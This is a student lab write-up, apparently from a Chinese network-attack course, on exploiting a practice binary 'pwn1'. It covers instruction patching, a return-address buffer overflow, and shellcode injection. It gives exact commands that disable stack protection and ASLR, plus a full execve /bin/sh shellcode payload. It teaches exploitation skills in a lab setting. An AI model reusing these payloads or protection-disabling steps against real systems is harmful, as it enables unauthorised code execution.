2018-2019-2 網絡對抗技術 20165227 Exp1 PC平臺逆向破解

2018-2019-2 網絡對抗技術 20165227 Exp1 PC平臺逆向破解

實驗內容及步驟

實驗一:直接修改程序機器指令,改變程序執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
  • 首先將pwn1目標文件進行備份 cp pwn1 pwn5227
  • 對pwn5227文件進行反彙編 objdump -d pwn5227 | more
  • 並找到main函數中調用foo函數的機器碼
    shell

  • 使用 vi pwn5227 進行編輯
    編程

  • 在vi裏面進行如下步驟
  • 使用 :%!xxd 顯示模式切換爲16進制模式
  • 使用 /e8d7 查找要修改的內容
  • 使用 r 將d7修改爲c3,保存並退出
  • 將16進制轉換回原格式 :%!xxd -r,退出sass

  • 再次反彙編pwn5227,發現函數調用已更改
    安全

  • 結果驗證
    網絡

實驗二:經過構造輸入參數,形成BOF攻擊,改變程序執行流

  • 知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術
  • 將pwn1再次備份,獲得pwn2
  • 對pwn2進行GDB調試,運行並輸入進行嘗試 1111111122222222333333334444444412345678
    dom

  • 從結果中獲得ASCII碼值 0x34333231 也就是1234
  • 咱們須要作的就是將其替換成getshell的返回地址 0x0804847d
  • 生成包含字符串的文件 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    函數

  • 使用命令 (cat input;cat) | ./pwn2 ,將input的內容做爲./pwn2的輸入,並驗證結果
    工具

實驗三:Shellcode注入攻擊

  • 準備工做
apt-get install execstack安裝execstack
# execstack -s pwn1    //設置堆棧可執行
# execstack -q pwn1  //查詢文件的堆棧是否可執行
# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
# more /proc/sys/kernel/randomize_va_space  //查看地址隨機化是否已經關閉

  • 注入攻擊
    學習

  • 再從新打開另外一個終端 ctrl+shift+t
  • 首先須要找到進程號
    spa

  • 可知進程號爲 101286
  • 使用gdb調試進程
gdb
attach 101286
disassemble foo
break *0x080484ae
(運行另外一個終端中的pwn1按下回車後)
c
info r esp
x/16x 0xffffd2ac

  • 獲得的地址+4,獲得shellcode的地址是 0xffffd2b0
  • 輸入指令
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 最後驗證結果

遇到的問題

  • 在安裝execstack的時候出現了```沒法定位軟件包的緣由,經過查閱資料得知,應該更新源

以後就能順利安裝了

實驗感想

  • 此次的實驗是網絡對抗的第一次實驗,也是第一次清晰地感覺了一次以前學過的緩衝區溢出攻擊實現的實驗,經過實驗,對老師上課講的知識點有了更深的理解,同時也對操做熟練程度有了加深,但願以後也能學到更多。

思考題

  • 漏洞
  • 漏洞是軟件編程中的紕漏,是會致使程序運行失敗、系統關機、從新啓動,或者執行攻擊者的指令。
  • 危害:會對系統的安全性形成影響,而且容易形成重要資料的丟失或竊取等嚴重後果
相關文章
相關標籤/搜索